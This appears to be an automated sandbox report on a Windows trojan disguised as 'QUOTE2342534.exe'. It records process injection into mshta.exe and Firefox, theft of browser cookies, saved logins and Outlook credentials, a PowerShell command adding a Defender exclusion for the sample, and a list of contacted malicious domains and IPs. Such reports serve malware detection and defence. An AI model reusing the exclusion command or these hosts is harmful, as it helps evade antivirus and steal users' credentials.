Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtUnmapViewOfSection: Direct from: 0x76EF2D3C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Memory written: C:\Users\user\Desktop\QUOTE2342534.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: NULL target: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Section loaded: NULL target: C:\Windows\SysWOW64\mshta.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: NULL target: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: NULL target: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\mshta.exe

Thread register set: target process: 2672

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\mshta.exe

Thread APC queued: target process: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTE2342534.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Process created: C:\Users\user\Desktop\QUOTE2342534.exe "C:\Users\user\Desktop\QUOTE2342534.exe"	Jump to behavior
Source: C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: qnPyaKsYTE.exe, 00000007.00000002.4593878902.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000000.2155548995.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594454649.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: qnPyaKsYTE.exe, 00000007.00000002.4593878902.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000000.2155548995.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594454649.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: qnPyaKsYTE.exe, 00000007.00000002.4593878902.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000000.2155548995.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594454649.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: qnPyaKsYTE.exe, 00000007.00000002.4593878902.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000000.2155548995.0000000001441000.00000002.00000001.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594454649.0000000000EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Users\user\Desktop\QUOTE2342534.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTE2342534.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTE2342534.exe	29%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
QUOTE2342534.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://gmpg.org/xfn/11	0%	URL Reputation	safe
https://schema.org/WPHeader	0%	URL Reputation	safe
https://schema.org/WPFooter	0%	URL Reputation	safe
https://yoast.com/wordpress/plugins/seo/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://api.w.org/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.royapop.online	209.74.64.190	true	true	unknown
voidzero.tech	84.32.84.32	true	true	unknown
nieuws-july202491.sbs	162.0.215.33	true	true	unknown
rtpsilva4d.click	67.223.117.169	true	true	unknown
b1-3-r111.kunlundns.top	129.226.56.200	true	true	unknown
www.xueerr.xyz	129.226.176.90	true	true	unknown
coba168.info	118.139.178.37	true	true	unknown
livpure-grab.online	84.32.84.32	true	true	unknown
huwin.club	3.33.130.190	true	true	unknown
everyone.golf	3.33.130.190	true	true	unknown
www.mcse.top	154.9.228.56	true	true	unknown
www.putizhong.homes	154.7.176.67	true	true	unknown
